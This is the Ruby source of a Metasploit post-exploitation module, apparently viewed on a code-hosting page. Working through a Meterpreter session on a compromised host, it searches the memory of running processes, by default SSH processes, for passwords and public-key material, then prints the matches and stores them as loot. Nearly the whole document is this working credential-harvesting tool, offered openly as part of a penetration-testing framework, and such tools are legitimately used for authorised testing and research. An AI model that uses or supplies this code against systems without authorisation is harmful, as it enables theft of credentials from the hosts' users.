rapid7/metasploit-framework

View on GitHub
modules/post/multi/gather/memory_search.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Memory Search',
        'Description' => %q{
          This module allows for searching the memory space of running processes for
          potentially sensitive data such as passwords.
        },
        'License' => MSF_LICENSE,
        'Author' => %w[sjanusz-r7],
        'SessionTypes' => %w[meterpreter],
        'Platform' => %w[linux unix osx windows],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_memory_search
              stdapi_sys_process_get_processes
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        ::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),
        ::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),
        ::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),
        ::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
        ::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
        ::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),
        ::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])
      ]
    )
  end

  def process_names_glob
    datastore['PROCESS_NAMES_GLOB']
  end

  def process_ids
    datastore['PROCESS_IDS']
  end

  def regex
    datastore['REGEX']
  end

  def min_match_len
    datastore['MIN_MATCH_LEN']
  end

  def max_match_len
    datastore['MAX_MATCH_LEN']
  end

  def replace_non_printable_bytes?
    datastore['REPLACE_NON_PRINTABLE_BYTES']
  end

  def save_loot?
    datastore['SAVE_LOOT']
  end

  ARCH_MAP =
    {
      'i686' => ARCH_X86,
      'x86' => ARCH_X86,
      'x64' => ARCH_X64,
      'x86_64' => ARCH_X64
    }.freeze

  def get_target_processes
    raw_target_pids = process_ids || ''
    target_pids = raw_target_pids.split(',').map(&:to_i)
    target_processes = []

    session_processes = session.sys.process.get_processes
    process_table = session_processes.to_table
    process_table.columns.unshift 'Matched?'

    process_table.colprops.unshift(
      {
        'Formatters' => [],
        'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new('true' => '%grn', 'false' => '%red')],
        'ColumnStylers' => []
      }
    )

    process_table.sort_index += 1

    session_processes.each.with_index do |session_process, index|
      pid, _ppid, name, _path, _session, _user, _arch = *session_process.values

      if target_pids.include?(pid) || ::File.fnmatch(process_names_glob || '', name, ::File::FNM_EXTGLOB)
        target_processes.append session_process
        process_table.rows[index].unshift 'true'
      else
        process_table.rows[index].unshift 'false'
      end
    end

    vprint_status(process_table.to_s)
    target_processes
  end

  def run_against_multiple_processes(processes: [])
    results = []

    processes.each do |process|
      response = nil
      status = nil

      begin
        response = session.sys.process.memory_search(
          pid: process['pid'],
          needles: [regex],
          min_match_length: min_match_len,
          max_match_length: max_match_len
        )
        status = :success
      rescue ::Rex::Post::Meterpreter::RequestError => e
        response = e
        status = :failure
      end

      results.append({ process: process, status: status, response: response })
    end

    results
  end

  def print_result(result: nil)
    return unless result

    process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"
    unless result[:status] == :success
      warning_message = "Memory search request for #{process_info} failed. Return code: #{result[:response]}"
      if result[:process]['arch'].empty? || result[:process]['path'].empty?
        warning_message << "\n    Potential reasons:"
        warning_message << "\n\tInsufficient permissions."
      end
      print_warning warning_message
      return
    end

    result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
    if result_group_tlvs.empty?
      match_not_found_msg = "No regular expression matches were found in memory for #{process_info}."
      normalised_process_arch = ARCH_MAP[result[:process]['arch']] || result[:process]['arch']

      potential_failure_reasons = []

      if session.arch != normalised_process_arch
        potential_failure_reasons.append "Architecture mismatch (session: #{session.arch}) (process: #{normalised_process_arch})"
      end

      if potential_failure_reasons.any?
        match_not_found_msg << "\n    Potential reasons:"
        potential_failure_reasons.each { |potential_reason| match_not_found_msg << "\n\t#{potential_reason}" }
      end

      print_status match_not_found_msg
      return
    end

    results_table = ::Rex::Text::Table.new(
      'Header' => "Memory Matches for #{process_info}",
      'Indent' => 1,
      'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
    )

    address_length = session.native_arch == ARCH_X64 ? 16 : 8
    result_group_tlvs.each do |result_group_tlv|
      match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase
      match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value
      # Mettle doesn't return this TLV. We can get the match length from the buffer instead.
      match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value
      match_length ||= match_buffer.bytesize
      region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase
      region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase

      if replace_non_printable_bytes?
        match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join
      end

      results_table << [
        "0x#{match_address.rjust(address_length, '0')}",
        match_length,
        match_buffer.inspect,
        "0x#{region_start_address.rjust(address_length, '0')}",
        "0x#{region_start_size.rjust(address_length, '0')}"
      ]
    end

    print_status results_table.to_s
  end

  def save_loot(results: [])
    return if results.empty?

    # Each result has a single response, which contains zero or more group tlv's.
    results.each do |result|
      # We don't want to save results that failed
      next unless result[:status] == :success

      group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
      next if group_tlvs.empty?

      group_tlvs.each do |group_tlv|
        match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
        next unless match

        stored_loot = store_loot(
          'memory.dmp',
          'bin',
          session,
          match,
          "memory_search_#{result[:process]['name']}.bin",
          'Process Raw Memory Buffer'
        )
        vprint_good("Loot stored to: #{stored_loot}")
      end
    end
  end

  def run
    if session.type != 'meterpreter'
      print_error 'Only Meterpreter sessions are supported by this post module'
      return
    end

    if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)
      print_error 'PROCESS_IDS is not a comma-separated list of integers'
      return
    end

    print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."

    print_status 'Getting target processes...'
    target_processes = get_target_processes
    if target_processes.empty?
      print_warning 'No target processes found.'
      return
    end

    target_processes_message = "Running against the following processes:\n"
    target_processes.each do |target_process|
      target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"
    end

    print_status target_processes_message
    processes_results = run_against_multiple_processes(processes: target_processes)
    processes_results.each { |process_result| print_result(result: process_result) }

    save_loot(results: processes_results) if save_loot?
  end
end